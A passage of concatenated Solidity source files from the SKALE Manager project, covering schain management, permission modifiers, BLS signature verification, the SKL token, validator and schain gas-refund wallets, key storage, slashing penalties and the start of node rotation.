bytes32 schainHash = keccak256(abi.encodePacked(name)); ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG")); require(!skaleDKG.isLastDKGSuccessful(schainHash), "DKG success"); ISchainsInternal schainsInternal = ISchainsInternal( contractManager.getContract("SchainsInternal")); require(schainsInternal.isAnyFreeNode(schainHash), "No free Nodes for new group formation"); uint newNodeIndex = nodeRotation.selectNodeToGroup(schainHash); skaleDKG.openChannel(schainHash); emit NodeAdded(schainHash, newNodeIndex); } /** * @dev Checks whether schain group signature is valid. */ function verifySchainSignature( uint signatureA, uint signatureB, bytes32 hash, uint counter, uint hashA, uint hashB, string calldata schainName ) external view override returns (bool) { ISkaleVerifier skaleVerifier = ISkaleVerifier(contractManager.getContract("SkaleVerifier")); ISkaleDKG.G2Point memory publicKey = G2Operations.getG2Zero(); bytes32 schainHash = keccak256(abi.encodePacked(schainName)); if ( INodeRotation(contractManager.getContract("NodeRotation")).isNewNodeFound(schainHash) && INodeRotation(contractManager.getContract("NodeRotation")).isRotationInProgress(schainHash) && ISkaleDKG(contractManager.getContract("SkaleDKG")).isLastDKGSuccessful(schainHash) ) { publicKey = IKeyStorage( contractManager.getContract("KeyStorage") ).getPreviousPublicKey( schainHash ); } else { publicKey = IKeyStorage( contractManager.getContract("KeyStorage") ).getCommonPublicKey( schainHash ); } return skaleVerifier.verify( ISkaleDKG.Fp2Point({ a: signatureA, b: signatureB }), hash, counter, hashA, hashB, publicKey ); } function getOption(bytes32 schainHash, string calldata optionName) external view override returns (bytes memory) { bytes32 optionHash = keccak256(abi.encodePacked(optionName)); ISchainsInternal schainsInternal = ISchainsInternal( contractManager.getContract("SchainsInternal")); return _getOption(schainHash, optionHash, schainsInternal); } function getOptions(bytes32 schainHash) external view override returns (SchainOption[] memory) { SchainOption[] memory options = new SchainOption[](_optionsIndex[schainHash].length()); for (uint i = 0; i < options.length; ++i) { options[i] = _options[schainHash][_optionsIndex[schainHash].at(i)]; } return options; } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } /** * @dev Returns the current price in SKL tokens for given Schain type and lifetime. */ function getSchainPrice(uint typeOfSchain, uint lifetime) public view override returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder()); ISchainsInternal schainsInternal = ISchainsInternal(contractManager.getContract("SchainsInternal")); uint nodeDeposit = constantsHolder.NODE_DEPOSIT(); uint numberOfNodes; uint8 divisor; (divisor, numberOfNodes) = schainsInternal.getSchainType(typeOfSchain); if (divisor == 0) { return 1e18; } else { uint up = nodeDeposit * numberOfNodes * lifetime * 2; uint down = uint( uint(constantsHolder.SMALL_DIVISOR()) * uint(constantsHolder.SECONDS_TO_YEAR()) / divisor ); return up / down; } } /** * @dev Initializes an schain in the SchainsInternal contract. * * Requirements: * * - Schain name is not already in use. */ function _initializeSchainInSchainsInternal( string memory name, address from, address originator, uint deposit, uint lifetime, ISchainsInternal schainsInternal, SchainOption[] memory options ) private { require(schainsInternal.isSchainNameAvailable(name), "Schain name is not available"); bytes32 schainHash = keccak256(abi.encodePacked(name)); for (uint i = 0; i < options.length; ++i) { _setOption(schainHash, options[i]); } // initialize Schain schainsInternal.initializeSchain(name, from, originator, lifetime, deposit); } /** * @dev Allows creation of node group for Schain. * * Emits an {SchainNodes} event. */ function _createGroupForSchain( string memory schainName, bytes32 schainHash, uint numberOfNodes, uint8 partOfNode, ISchainsInternal schainsInternal ) private { uint[] memory nodesInGroup = schainsInternal.createGroupForSchain(schainHash, numberOfNodes, partOfNode); ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainHash); emit SchainNodes( schainName, schainHash, nodesInGroup); } /** * @dev Creates an schain. * * Emits an {SchainCreated} event. * * Requirements: * * - Schain type must be valid. */ function _addSchain(address from, uint deposit, SchainParameters memory schainParameters) private { ISchainsInternal schainsInternal = ISchainsInternal(contractManager.getContract("SchainsInternal")); require(!schainParameters.originator.isContract(), "Originator address must be not a contract"); if (from.isContract()) { require(schainParameters.originator != address(0), "Originator address is not provided"); } else { schainParameters.originator = address(0); } //initialize Schain _initializeSchainInSchainsInternal( schainParameters.name, from, schainParameters.originator, deposit, schainParameters.lifetime, schainsInternal, schainParameters.options ); // create a group for Schain uint numberOfNodes; uint8 partOfNode; (partOfNode, numberOfNodes) = schainsInternal.getSchainType(schainParameters.typeOfSchain); _createGroupForSchain( schainParameters.name, keccak256(abi.encodePacked(schainParameters.name)), numberOfNodes, partOfNode, schainsInternal ); emit SchainCreated( schainParameters.name, from, partOfNode, schainParameters.lifetime, numberOfNodes, deposit, schainParameters.nonce, keccak256(abi.encodePacked(schainParameters.name))); } function _deleteSchain(string calldata name, ISchainsInternal schainsInternal) private { INodeRotation nodeRotation = INodeRotation(contractManager.getContract("NodeRotation")); bytes32 schainHash = keccak256(abi.encodePacked(name)); require(schainsInternal.isSchainExist(schainHash), "Schain does not exist"); _deleteOptions(schainHash, schainsInternal); uint[] memory nodesInGroup = schainsInternal.getNodesInGroup(schainHash); for (uint i = 0; i < nodesInGroup.length; i++) { if (schainsInternal.checkHoleForSchain(schainHash, i)) { continue; } require( schainsInternal.checkSchainOnNode(nodesInGroup[i], schainHash), "Some Node does not contain given Schain" ); schainsInternal.removeNodeFromSchain(nodesInGroup[i], schainHash); schainsInternal.removeNodeFromExceptions(schainHash, nodesInGroup[i]); } schainsInternal.removeAllNodesFromSchainExceptions(schainHash); schainsInternal.deleteGroup(schainHash); address from = schainsInternal.getSchainOwner(schainHash); schainsInternal.removeHolesForSchain(schainHash); nodeRotation.removeRotation(schainHash); schainsInternal.removeSchain(schainHash, from); IWallets( payable(contractManager.getContract("Wallets")) ).withdrawFundsFromSchainWallet(payable(from), schainHash); emit SchainDeleted(from, name, schainHash); } function _setOption( bytes32 schainHash, SchainOption memory option ) private { bytes32 optionHash = keccak256(abi.encodePacked(option.name)); _options[schainHash][optionHash] = option; require(_optionsIndex[schainHash].add(optionHash), "The option has been set already"); } function _deleteOptions( bytes32 schainHash, ISchainsInternal schainsInternal ) private schainExists(schainsInternal, schainHash) { while (_optionsIndex[schainHash].length() > 0) { bytes32 optionHash = _optionsIndex[schainHash].at(0); delete _options[schainHash][optionHash]; require(_optionsIndex[schainHash].remove(optionHash), "Removing error"); } } function _getOption( bytes32 schainHash, bytes32 optionHash, ISchainsInternal schainsInternal ) private view schainExists(schainsInternal, schainHash) returns (bytes memory) { require(_optionsIndex[schainHash].contains(optionHash), "Option is not set"); return _options[schainHash][optionHash].value; } } // SPDX-License-Identifier: AGPL-3.0-only /* Permissions.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@skalenetwork/skale-manager-interfaces/IContractManager.sol"; import "@skalenetwork/skale-manager-interfaces/IPermissions.sol"; import "./thirdparty/openzeppelin/AccessControlUpgradeableLegacy.sol"; /** * @title Permissions * @dev Contract is connected module for Upgradeable approach, knows ContractManager */ contract Permissions is AccessControlUpgradeableLegacy, IPermissions { using AddressUpgradeable for address; IContractManager public contractManager; /** * @dev Modifier to make a function callable only when caller is the Owner. * * Requirements: * * - The caller must be the owner. */ modifier onlyOwner() { require(_isOwner(), "Caller is not the owner"); _; } /** * @dev Modifier to make a function callable only when caller is an Admin. * * Requirements: * * - The caller must be an admin. */ modifier onlyAdmin() { require(_isAdmin(msg.sender), "Caller is not an admin"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName` contract. * * Requirements: * * - The caller must be the owner or `contractName`. */ modifier allow(string memory contractName) { require( contractManager.getContract(contractName) == msg.sender || _isOwner(), "Message sender is invalid"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName1` or `contractName2` contract. * * Requirements: * * - The caller must be the owner, `contractName1`, or `contractName2`. */ modifier allowTwo(string memory contractName1, string memory contractName2) { require( contractManager.getContract(contractName1) == msg.sender || contractManager.getContract(contractName2) == msg.sender || _isOwner(), "Message sender is invalid"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName1`, `contractName2`, or `contractName3` contract. * * Requirements: * * - The caller must be the owner, `contractName1`, `contractName2`, or * `contractName3`. */ modifier allowThree(string memory contractName1, string memory contractName2, string memory contractName3) { require( contractManager.getContract(contractName1) == msg.sender || contractManager.getContract(contractName2) == msg.sender || contractManager.getContract(contractName3) == msg.sender || _isOwner(), "Message sender is invalid"); _; } function initialize(address contractManagerAddress) public virtual override initializer { AccessControlUpgradeableLegacy.__AccessControl_init(); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setContractManager(contractManagerAddress); } function _isOwner() internal view returns (bool) { return hasRole(DEFAULT_ADMIN_ROLE, msg.sender); } function _isAdmin(address account) internal view returns (bool) { address skaleManagerAddress = contractManager.contracts(keccak256(abi.encodePacked("SkaleManager"))); if (skaleManagerAddress != address(0)) { AccessControlUpgradeableLegacy skaleManager = AccessControlUpgradeableLegacy(skaleManagerAddress); return skaleManager.hasRole(keccak256("ADMIN_ROLE"), account) || _isOwner(); } else { return _isOwner(); } } function _setContractManager(address contractManagerAddress) private { require(contractManagerAddress != address(0), "ContractManager address is not set"); require(contractManagerAddress.isContract(), "Address is not contract"); contractManager = IContractManager(contractManagerAddress); } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleVerifier.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@skalenetwork/skale-manager-interfaces/ISkaleVerifier.sol"; import "./Permissions.sol"; import "./utils/Precompiled.sol"; import "./utils/FieldOperations.sol"; /** * @title SkaleVerifier * @dev Contains verify function to perform BLS signature verification. */ contract SkaleVerifier is Permissions, ISkaleVerifier { using Fp2Operations for ISkaleDKG.Fp2Point; using G2Operations for ISkaleDKG.G2Point; /** * @dev Verifies a BLS signature. * * Requirements: * * - Signature is in G1. * - Hash is in G1. * - G2.one in G2. * - Public Key in G2. */ function verify( ISkaleDKG.Fp2Point calldata signature, bytes32 hash, uint counter, uint hashA, uint hashB, ISkaleDKG.G2Point calldata publicKey ) external view override returns (bool) { require(G1Operations.checkRange(signature), "Signature is not valid"); if (!_checkHashToGroupWithHelper( hash, counter, hashA, hashB ) ) { return false; } uint newSignB = G1Operations.negate(signature.b); require(G1Operations.isG1Point(signature.a, newSignB), "Sign not in G1"); require(G1Operations.isG1Point(hashA, hashB), "Hash not in G1"); ISkaleDKG.G2Point memory g2 = G2Operations.getG2Generator(); require( G2Operations.isG2(publicKey), "Public Key not in G2" ); return Precompiled.bn256Pairing( signature.a, newSignB, g2.x.b, g2.x.a, g2.y.b, g2.y.a, hashA, hashB, publicKey.x.b, publicKey.x.a, publicKey.y.b, publicKey.y.a ); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } function _checkHashToGroupWithHelper( bytes32 hash, uint counter, uint hashA, uint hashB ) private pure returns (bool) { if (counter > 100) { return false; } uint xCoord = uint(hash) % Fp2Operations.P; xCoord = (xCoord + counter) % Fp2Operations.P; uint ySquared = addmod( mulmod(mulmod(xCoord, xCoord, Fp2Operations.P), xCoord, Fp2Operations.P), 3, Fp2Operations.P ); if (hashB < Fp2Operations.P / 2 || mulmod(hashB, hashB, Fp2Operations.P) != ySquared || xCoord != hashA) { return false; } return true; } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleToken.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@skalenetwork/skale-manager-interfaces/delegation/IDelegatableToken.sol"; import "@skalenetwork/skale-manager-interfaces/IMintableToken.sol"; import "@skalenetwork/skale-manager-interfaces/delegation/IPunisher.sol"; import "@skalenetwork/skale-manager-interfaces/delegation/ITokenState.sol"; import "@skalenetwork/skale-manager-interfaces/delegation/IDelegationController.sol"; import "@skalenetwork/skale-manager-interfaces/delegation/ILocker.sol"; import "./thirdparty/openzeppelin/ERC777.sol"; import "./Permissions.sol"; /** * @title SkaleToken * @dev Contract defines the SKALE token and is based on ERC777 token * implementation. */ contract SkaleToken is ERC777, Permissions, ReentrancyGuard, IDelegatableToken, IMintableToken { using SafeMath for uint; string public constant NAME = "SKALE"; string public constant SYMBOL = "SKL"; uint public constant DECIMALS = 18; uint public constant CAP = 7 * 1e9 * (10 ** DECIMALS); // the maximum amount of tokens that can ever be created constructor(address contractsAddress, address[] memory defOps) ERC777("SKALE", "SKL", defOps) { Permissions.initialize(contractsAddress); } /** * @dev Allows Owner or SkaleManager to mint an amount of tokens and * transfer minted tokens to a specified address. * * Returns whether the operation is successful. * * Requirements: * * - Mint must not exceed the total supply. */ function mint( address account, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external override allow("SkaleManager") //onlyAuthorized returns (bool) { require(amount <= CAP.sub(totalSupply()), "Amount is too big"); _mint( account, amount, userData, operatorData ); return true; } /** * @dev See {IDelegatableToken-getAndUpdateDelegatedAmount}. */ function getAndUpdateDelegatedAmount(address wallet) external override returns (uint) { return IDelegationController(contractManager.getContract("DelegationController")) .getAndUpdateDelegatedAmount(wallet); } /** * @dev See {IDelegatableToken-getAndUpdateSlashedAmount}. */ function getAndUpdateSlashedAmount(address wallet) external override returns (uint) { return ILocker(contractManager.getContract("Punisher")).getAndUpdateLockedAmount(wallet); } /** * @dev See {IDelegatableToken-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address wallet) public override returns (uint) { return ILocker(contractManager.getContract("TokenState")).getAndUpdateLockedAmount(wallet); } // internal function _beforeTokenTransfer( address, // operator address from, address, // to uint256 tokenId) internal override { uint locked = getAndUpdateLockedAmount(from); if (locked > 0) { require(balanceOf(from) >= locked.add(tokenId), "Token should be unlocked for transferring"); } } function _callTokensToSend( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) internal override nonReentrant { super._callTokensToSend(operator, from, to, amount, userData, operatorData); } function _callTokensReceived( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) internal override nonReentrant { super._callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck); } // we have to override _msgData() and _msgSender() functions because of collision in Context and ContextUpgradeable function _msgData() internal view override(Context, ContextUpgradeable) returns (bytes memory) { return Context._msgData(); } function _msgSender() internal view override(Context, ContextUpgradeable) returns (address) { return Context._msgSender(); } } // SPDX-License-Identifier: AGPL-3.0-only /* Wallets.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@skalenetwork/skale-manager-interfaces/IWallets.sol"; import "@skalenetwork/skale-manager-interfaces/ISchainsInternal.sol"; import "@skalenetwork/skale-manager-interfaces/delegation/IValidatorService.sol"; import "./Permissions.sol"; /** * @title Wallets * @dev Contract contains logic to perform automatic self-recharging ether for nodes */ contract Wallets is Permissions, IWallets { using AddressUpgradeable for address payable; mapping (uint => uint) private _validatorWallets; mapping (bytes32 => uint) private _schainWallets; mapping (bytes32 => uint) private _schainDebts; /** * @dev Is executed on a call to the contract with empty calldata. * This is the function that is executed on plain Ether transfers, * so validator or schain owner can use usual transfer ether to recharge wallet. */ receive() external payable override { IValidatorService validatorService = IValidatorService(contractManager.getContract("ValidatorService")); ISchainsInternal schainsInternal = ISchainsInternal(contractManager.getContract("SchainsInternal")); bytes32[] memory schainHashes = schainsInternal.getSchainHashesByAddress(msg.sender); if (schainHashes.length == 1) { rechargeSchainWallet(schainHashes[0]); } else { uint validatorId = validatorService.getValidatorId(msg.sender); rechargeValidatorWallet(validatorId); } } /** * @dev Reimburse gas for node by validator wallet. If validator wallet has not enough funds * the node will receive the entire remaining amount in the validator's wallet. * `validatorId` - validator that will reimburse desired transaction * `spender` - address to send reimbursed funds * `spentGas` - amount of spent gas that should be reimbursed to desired node * * Emits a {NodeRefundedByValidator} event. * * Requirements: * - Given validator should exist */ function refundGasByValidator( uint validatorId, address payable spender, uint spentGas ) external override allowTwo("SkaleManager", "SkaleDKG") { require(spender != address(0), "Spender must be specified"); require(validatorId != 0, "ValidatorId could not be zero"); uint amount = tx.gasprice * spentGas; if (amount <= _validatorWallets[validatorId]) { _validatorWallets[validatorId] = _validatorWallets[validatorId] - amount; emit NodeRefundedByValidator(spender, validatorId, amount); spender.transfer(amount); } else { uint wholeAmount = _validatorWallets[validatorId]; // solhint-disable-next-line reentrancy delete _validatorWallets[validatorId]; emit NodeRefundedByValidator(spender, validatorId, wholeAmount); spender.transfer(wholeAmount); } } /** * @dev Returns the amount owed to the owner of the chain by the validator, * if the validator does not have enough funds, then everything * that the validator has will be returned to the owner of the chain. */ function refundGasByValidatorToSchain(uint validatorId, bytes32 schainHash) external override allow("SkaleDKG") { uint debtAmount = _schainDebts[schainHash]; uint validatorWallet = _validatorWallets[validatorId]; if (debtAmount <= validatorWallet) { _validatorWallets[validatorId] = validatorWallet - debtAmount; } else { debtAmount = validatorWallet; delete _validatorWallets[validatorId]; } _schainWallets[schainHash] = _schainWallets[schainHash] + debtAmount; delete _schainDebts[schainHash]; } /** * @dev Reimburse gas for node by schain wallet. If schain wallet has not enough funds * than transaction will be reverted. * `schainHash` - schain that will reimburse desired transaction * `spender` - address to send reimbursed funds * `spentGas` - amount of spent gas that should be reimbursed to desired node * `isDebt` - parameter that indicates whether this amount should be recorded as debt for the validator * * Emits a {NodeRefundedBySchain} event. * * Requirements: * - Given schain should exist * - Schain wallet should have enough funds */ function refundGasBySchain( bytes32 schainHash, address payable spender, uint spentGas, bool isDebt ) external override allowTwo("SkaleDKG", "CommunityPool") { require(spender != address(0), "Spender must be specified"); uint amount = tx.gasprice * spentGas; if (isDebt) { amount += (_schainDebts[schainHash] == 0 ? 21000 : 6000) * tx.gasprice; _schainDebts[schainHash] = _schainDebts[schainHash] + amount; } require(schainHash != bytes32(0), "SchainHash cannot be null"); require(amount <= _schainWallets[schainHash], "Schain wallet has not enough funds"); _schainWallets[schainHash] = _schainWallets[schainHash] - amount; emit NodeRefundedBySchain(spender, schainHash, amount); spender.transfer(amount); } /** * @dev Withdraws money from schain wallet. Possible to execute only after deleting schain. * `schainOwner` - address of schain owner that will receive rest of the schain balance * `schainHash` - schain wallet from which money is withdrawn * * Requirements: * - Executable only after initializing delete schain */ function withdrawFundsFromSchainWallet(address payable schainOwner, bytes32 schainHash) external override allow("Schains") { require(schainOwner != address(0), "Schain owner must be specified"); uint amount = _schainWallets[schainHash]; delete _schainWallets[schainHash]; emit WithdrawFromSchainWallet(schainHash, amount); schainOwner.sendValue(amount); } /** * @dev Withdraws money from validator wallet. * `amount` - the amount of money in wei * * Requirements: * - Validator must have sufficient withdrawal amount */ function withdrawFundsFromValidatorWallet(uint amount) external override { IValidatorService validatorService = IValidatorService(contractManager.getContract("ValidatorService")); uint validatorId = validatorService.getValidatorId(msg.sender); require(amount <= _validatorWallets[validatorId], "Balance is too low"); _validatorWallets[validatorId] = _validatorWallets[validatorId] - amount; emit WithdrawFromValidatorWallet(validatorId, amount); payable(msg.sender).transfer(amount); } function getSchainBalance(bytes32 schainHash) external view override returns (uint) { return _schainWallets[schainHash]; } function getValidatorBalance(uint validatorId) external view override returns (uint) { return _validatorWallets[validatorId]; } /** * @dev Recharge the validator wallet by id. * `validatorId` - id of existing validator. * * Emits a {ValidatorWalletRecharged} event. * * Requirements: * - Given validator must exist */ function rechargeValidatorWallet(uint validatorId) public payable override { IValidatorService validatorService = IValidatorService(contractManager.getContract("ValidatorService")); require(validatorService.validatorExists(validatorId), "Validator does not exists"); _validatorWallets[validatorId] = _validatorWallets[validatorId] + msg.value; emit ValidatorWalletRecharged(msg.sender, msg.value, validatorId); } /** * @dev Recharge the schain wallet by schainHash (hash of schain name). * `schainHash` - id of existing schain. * * Emits a {SchainWalletRecharged} event. * * Requirements: * - Given schain must be created */ function rechargeSchainWallet(bytes32 schainHash) public payable override { ISchainsInternal schainsInternal = ISchainsInternal(contractManager.getContract("SchainsInternal")); require(schainsInternal.isSchainActive(schainHash), "Schain should be active for recharging"); _schainWallets[schainHash] = _schainWallets[schainHash] + msg.value; emit SchainWalletRecharged(msg.sender, msg.value, schainHash); } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } } // SPDX-License-Identifier: AGPL-3.0-only /* KeyStorage.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@skalenetwork/skale-manager-interfaces/IKeyStorage.sol"; import "./Permissions.sol"; import "./utils/Precompiled.sol"; import "./utils/FieldOperations.sol"; contract KeyStorage is Permissions, IKeyStorage { using Fp2Operations for ISkaleDKG.Fp2Point; using G2Operations for ISkaleDKG.G2Point; struct BroadcastedData { KeyShare[] secretKeyContribution; ISkaleDKG.G2Point[] verificationVector; } // Unused variable!! mapping(bytes32 => mapping(uint => BroadcastedData)) private _data; // mapping(bytes32 => ISkaleDKG.G2Point) private _publicKeysInProgress; mapping(bytes32 => ISkaleDKG.G2Point) private _schainsPublicKeys; // Unused variable mapping(bytes32 => ISkaleDKG.G2Point[]) private _schainsNodesPublicKeys; // mapping(bytes32 => ISkaleDKG.G2Point[]) private _previousSchainsPublicKeys; function deleteKey(bytes32 schainHash) external override allow("SkaleDKG") { _previousSchainsPublicKeys[schainHash].push(_schainsPublicKeys[schainHash]); delete _schainsPublicKeys[schainHash]; delete _data[schainHash][0]; delete _schainsNodesPublicKeys[schainHash]; } function initPublicKeyInProgress(bytes32 schainHash) external override allow("SkaleDKG") { _publicKeysInProgress[schainHash] = G2Operations.getG2Zero(); } function adding(bytes32 schainHash, ISkaleDKG.G2Point memory value) external override allow("SkaleDKG") { require(value.isG2(), "Incorrect g2 point"); _publicKeysInProgress[schainHash] = value.addG2(_publicKeysInProgress[schainHash]); } function finalizePublicKey(bytes32 schainHash) external override allow("SkaleDKG") { if (!_isSchainsPublicKeyZero(schainHash)) { _previousSchainsPublicKeys[schainHash].push(_schainsPublicKeys[schainHash]); } _schainsPublicKeys[schainHash] = _publicKeysInProgress[schainHash]; delete _publicKeysInProgress[schainHash]; } function getCommonPublicKey(bytes32 schainHash) external view override returns (ISkaleDKG.G2Point memory) { return _schainsPublicKeys[schainHash]; } function getPreviousPublicKey(bytes32 schainHash) external view override returns (ISkaleDKG.G2Point memory) { uint length = _previousSchainsPublicKeys[schainHash].length; if (length == 0) { return G2Operations.getG2Zero(); } return _previousSchainsPublicKeys[schainHash][length - 1]; } function getAllPreviousPublicKeys(bytes32 schainHash) external view override returns (ISkaleDKG.G2Point[] memory) { return _previousSchainsPublicKeys[schainHash]; } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } function _isSchainsPublicKeyZero(bytes32 schainHash) private view returns (bool) { return _schainsPublicKeys[schainHash].x.a == 0 && _schainsPublicKeys[schainHash].x.b == 0 && _schainsPublicKeys[schainHash].y.a == 0 && _schainsPublicKeys[schainHash].y.b == 0; } }// SPDX-License-Identifier: AGPL-3.0-only /* SlashingTable.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@skalenetwork/skale-manager-interfaces/ISlashingTable.sol"; import "./Permissions.sol"; /** * @title Slashing Table * @dev This contract manages slashing conditions and penalties. */ contract SlashingTable is Permissions, ISlashingTable { mapping (uint => uint) private _penalties; bytes32 public constant PENALTY_SETTER_ROLE = keccak256("PENALTY_SETTER_ROLE"); /** * @dev Allows the Owner to set a slashing penalty in SKL tokens for a * given offense. */ function setPenalty(string calldata offense, uint penalty) external override { require(hasRole(PENALTY_SETTER_ROLE, msg.sender), "PENALTY_SETTER_ROLE is required"); uint offenseHash = uint(keccak256(abi.encodePacked(offense))); _penalties[offenseHash] = penalty; emit PenaltyAdded(offenseHash, offense, penalty); } /** * @dev Returns the penalty in SKL tokens for a given offense. */ function getPenalty(string calldata offense) external view override returns (uint) { uint penalty = _penalties[uint(keccak256(abi.encodePacked(offense)))]; return penalty; } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); } } // SPDX-License-Identifier: AGPL-3.0-only /* NodeRotation.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.11; import "@openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol"; import "@skalenetwork/skale-manager-interfaces/ISkaleDKG.sol"; import "@skalenetwork/skale-manager-interfaces/INodeRotation.sol"; import "@skalenetwork/skale-manager-interfaces/IConstantsHolder.sol"; import "@skalenetwork/skale-manager-interfaces/INodes.sol"; import "@skalenetwork/skale-manager-interfaces/ISchainsInternal.sol"; import "./utils/Random.sol"; import "./Permissions.sol"; /** * @title NodeRotation * @dev This contract handles all node rotation functionality. */ contract NodeRotation is Permissions, INodeRotation { using Random for IRandom.RandomGenerator; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet; /** * nodeIndex - index of Node which is in process of rotation (left from schain) * newNodeIndex - index of Node which is rotated(added to schain) * freezeUntil - time till which Node should be turned on * rotationCounter - how many _rotations were on this schain * previousNodes - queue of nodeIndex -> previous nodeIndexes * newNodeIndexes - set of all newNodeIndexes for this schain */ struct RotationWithPreviousNodes { uint nodeIndex; uint newNodeIndex; uint freezeUntil; uint rotationCounter; // schainHash => nodeIndex => nodeIndex mapping (uint256 => uint256) previousNodes; EnumerableSetUpgradeable.UintSet newNodeIndexes; mapping (uint256 => uint256) indexInLeavingHistory; } mapping (bytes32 => RotationWithPreviousNodes) private _rotations; mapping (uint => INodeRotation.LeavingHistory[]) public leavingHistory; mapping (bytes32 => bool) public waitForNewNode; bytes32 public constant DEBUGGER_ROLE = keccak256("DEBUGGER_ROLE"); /** * @dev Emitted when rotation delay skipped. */ event RotationDelaySkipped(bytes32 indexed schainHash); modifier onlyDebugger() { require(hasRole(DEBUGGER_ROLE, msg.sender), "DEBUGGER_ROLE is required"); _; } /** * @dev Allows SkaleManager to remove, find new node, and rotate node from * schain. * * Requirements: * * - A free node must exist. */ function exitFromSchain(uint nodeIndex) external override allow("SkaleManager") returns (bool, bool) { ISchainsInternal schainsInternal = ISchainsInternal(contractManager.getContract("SchainsInternal")); bytes32 schainHash = schainsInternal.getActiveSchain(nodeIndex); if (schainHash == bytes32(0)) { return (true, false); } _checkBeforeRotation(schainHash, nodeIndex); _startRotation(schainHash, nodeIndex); rotateNode(nodeIndex, schainHash, true, false); return (schainsInternal.getActiveSchain(nodeIndex) == bytes32(0) ? true : false, true); } /** * @dev Allows Nodes contract to freeze all schains on a given node. */ function freezeSchains(uint nodeIndex) external override allow("Nodes") { bytes32[] memory schains = ISchainsInternal( 